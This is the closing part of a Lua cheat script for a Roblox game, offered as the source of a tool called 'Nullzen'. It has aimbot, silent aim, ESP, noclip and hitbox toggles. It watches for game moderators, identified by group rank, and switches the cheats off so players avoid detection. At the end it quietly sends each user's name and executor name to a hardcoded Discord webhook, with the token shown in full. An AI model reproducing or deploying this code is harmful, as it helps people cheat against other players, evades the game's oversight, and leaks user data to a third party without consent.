HeadHitboxSlider:Set(0)
BodyHitboxSlider:Set(0)
SilentAimToggle:Set(false)
AimbotToggle:Set(false)
end
end
game.Players.PlayerAdded:Connect(function(plr)
if plr:GetRankInGroup(5479038) >= 248 and Value then
Rayfield:Notify({
Title = "Turned Off Everything",
Content = "The Moderator ".. plr.Name .." joined this server so for your safety everything has been turned off",
Duration = 20,
Image = 4483362458,
})
AntiAfkToggle:Set(false)
FullBrightToggle:Set(false)
NoclipToggle:Set(false)
AntiVoidToggle:Set(false)
SpeedBoostSlider:Set(0)
AutoReloadToggle:Set(false)
Esp1Toggle:Set(false)
Esp2Toggle:Set(false)
HeadHitboxSlider:Set(0)
BodyHitboxSlider:Set(0)
SilentAimToggle:Set(false)
AimbotToggle:Set(false)
end
end)
end,
})
local ThemeDropDown = Misc:CreateDropdown({
Name = "Theme Selector",
Options = {"Default", "Amber Glow", "Amethyst", "Bloom", "Dark Blue", "Green", "Light", "Ocean", "Serenity"},
CurrentOption = {"Default"},
MultipleOptions = false,
Flag = "ThemeDropDown",
Callback = function(Options)
local themeMap = {
Default = "Default",
["Amber Glow"] = "AmberGlow",
Amethyst = "Amethyst",
Bloom = "Bloom",
["Dark Blue"] = "DarkBlue",
Green = "Green",
Light = "Light",
Ocean = "Ocean",
Serenity = "Serenity"
}
Window.ModifyTheme(themeMap[Options[1]])
end,
})
local Credits = Window:CreateTab("Credits", 4483362458)
local Section = Credits:CreateSection("Discord & Youtube Links")
local Button = Credits:CreateButton({
Name = "Click To Copy Discord Link",
Callback = function()
setclipboard("https://discord.gg/RtN2jBwRTN")
toclipboard("https://discord.gg/RtN2jBwRTN")
end,
})
local Button = Credits:CreateButton({
Name = "Click To Copy Youtube Link",
Callback = function()
setclipboard("https://www.youtube.com/@axleoislost1")
toclipboard("https://www.youtube.com/@axleoislost1")
end,
})
local Label = Credits:CreateLabel("Made By axleoislost2", 4483362458, Color3.fromRGB(255, 255, 255), false)
local Label = Credits:CreateLabel("Huge thanks to speakingheademoji (gamercoolerg) for helping", 4483362458, Color3.fromRGB(255, 255, 255), false)
local function notifyModeratorJoined()
Rayfield:Notify({
Title = "Moderator joined server",
Content = "Turn off Everything immediately and play normally",
Duration = 30,
Image = 4483362458
})
end
for _, plr in next, game.Players:GetPlayers() do
if plr:GetRankInGroup(5479038) >= 248 then
notifyModeratorJoined()
notifyModeratorJoined()
notifyModeratorJoined()
end
end
game.Players.PlayerAdded:Connect(function(plr)
if plr:GetRankInGroup(5479038) >= 248 then
notifyModeratorJoined()
notifyModeratorJoined()
notifyModeratorJoined()
end
end)
TurnOffEverythingToggle:Set(true)
local player = game.Players.LocalPlayer
local playerName = player.Name
local message = {
content = "Player: " .. playerName .. " Executor: " .. getexecutorname()
}
local data = {
Url = "https://discord.com/api/webhooks/1315266830738395177/42tX7p5x99nJL2APWmFepgg-ibgYvY2cWm-8ABOcrxmPOTfbGWwbjy9ZFnrCG1jnAaIX",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = game:GetService("HttpService"):JSONEncode(message)
}
local requestFunction = syn and syn.request or request or http_request
local response = requestFunction(data)
Remember to employ a dummy account when injecting scripts. We cannot be held responsible for any potential harm caused to your Roblox account.
Description
This is The Source Code of Nullzen.


